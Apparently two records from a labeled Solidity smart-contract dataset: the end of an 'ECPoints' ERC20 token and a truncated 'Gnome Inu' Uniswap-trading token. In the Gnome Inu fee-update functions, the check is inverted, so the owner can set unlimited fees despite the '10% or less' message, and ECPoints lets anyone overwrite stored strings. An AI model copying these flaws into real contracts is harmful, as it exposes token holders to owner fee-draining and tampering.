* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract ECPoints is StandardBurnableToken {
string public name = "ECToints";
string public symbol = "ECT";
uint8 public decimals = 0;
uint256 public INITIAL_SUPPLY = 10000000000000000;
mapping (uint => string) sign;
address public owner;
event SetString(uint key,string types);
function ECPoints() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
owner = msg.sender;
}
function setstring(uint key,string md5) public returns(string){
sign[key]=md5;
return sign[key];
}
function getString(uint key) public view returns(string){
return sign[key];
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2022-03-04
*/
/*
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██╔██╔══ ██╔════╝ ████╗ ██║████╗ ████║██╔════╝
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╚═██╔██╗██║ ╚██╗██║╚████║██║╚██╔╝██║██╔══╝
███████╔╝╚██████╔╝██║ ╚███║██║ ██║███████╗
╚══════╝ ╚═════╝ ╚═╝ ╚══╝╚═╝ ╚═╝╚══════╝
- "Go big or go Gnome"
𝗟𝗶𝗻𝗸𝘀:
t.me/GnomeInu
twitter.com/GnomeInu
gnomeinu.com
10%+ Slippage
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != -1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow. (easter egg from the genius dev @nomessages9.)
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract GnomeInu is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public buyBackWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyBuyBackFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellBuyBackFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForBuyBack;
uint256 public tokensForDev;
// airdrop limits to prevent airdrop dump to protect new investors
mapping(address => uint256) public _airDropAddressNextSellDate;
mapping(address => uint256) public _airDropTokensRemaining;
uint256 public airDropLimitLiftDate;
bool public airDropLimitInEffect;
mapping (address => bool) public _isAirdoppedWallet;
mapping (address => uint256) public _airDroppedTokenAmount;
uint256 public airDropDailySellPerc;
/******************/
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event BuyBackTriggered(uint256 amount);
event OwnerForcedSwapBack(uint256 timestamp);
constructor() ERC20("Gnome Inu", "GNME") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
airDropLimitLiftDate = block.timestamp + 10 days;
airDropLimitInEffect = true;
airDropDailySellPerc = 10;
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 5;
uint256 _buyLiquidityFee = 5;
uint256 _buyBuyBackFee = 0;
uint256 _buyDevFee = 0;
uint256 _sellMarketingFee =10;
uint256 _sellLiquidityFee = 0;
uint256 _sellBuyBackFee = 0;
uint256 _sellDevFee = 0;
uint256 totalSupply = 1 * 1e9 * 1e18;
maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn
maxWallet = totalSupply * 5 / 100; // 5% maxWallet
swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyBuyBackFee = _buyBuyBackFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellBuyBackFee = _sellBuyBackFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee;
marketingWallet = address(owner()); // set as marketing wallet
devWallet = address(owner()); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(buyBackWallet, true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(buyBackWallet, true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {
}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
gasLimitActive = false;
transferDelayEnabled = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool){
transferDelayEnabled = false;
return true;
}
function airdropToWallets(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){
require(!tradingActive, "Trading is already active, cannot airdrop after launch.");
require(airdropWallets.length == amounts.length, "arrays must be the same length");
require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input.
for(uint256 i = 0; i < airdropWallets.length; i++){
address wallet = airdropWallets[i];
uint256 amount = amounts[i];
_isAirdoppedWallet[wallet] = true;
_airDroppedTokenAmount[wallet] = amount;
_airDropTokensRemaining[wallet] = amount;
_airDropAddressNextSellDate[wallet] = block.timestamp.sub(1);
_transfer(msg.sender, wallet, amount);
}
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply.");
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%");
maxTransactionAmount = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyBuyBackFee = _buyBackFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee;
require(10 <= buyTotalFees, "Must keep fees at 10% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellBuyBackFee = _buyBackFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee;
require(10 <= sellTotalFees, "Must keep fees at 10% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function getWalletMaxAirdropSell(address holder) public view returns (uint256){
if(airDropLimitInEffect){
return _airDroppedTokenAmount[holder].mul(airDropDailySellPerc).div(100);
}
return _airDropTokensRemaining[holder];
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
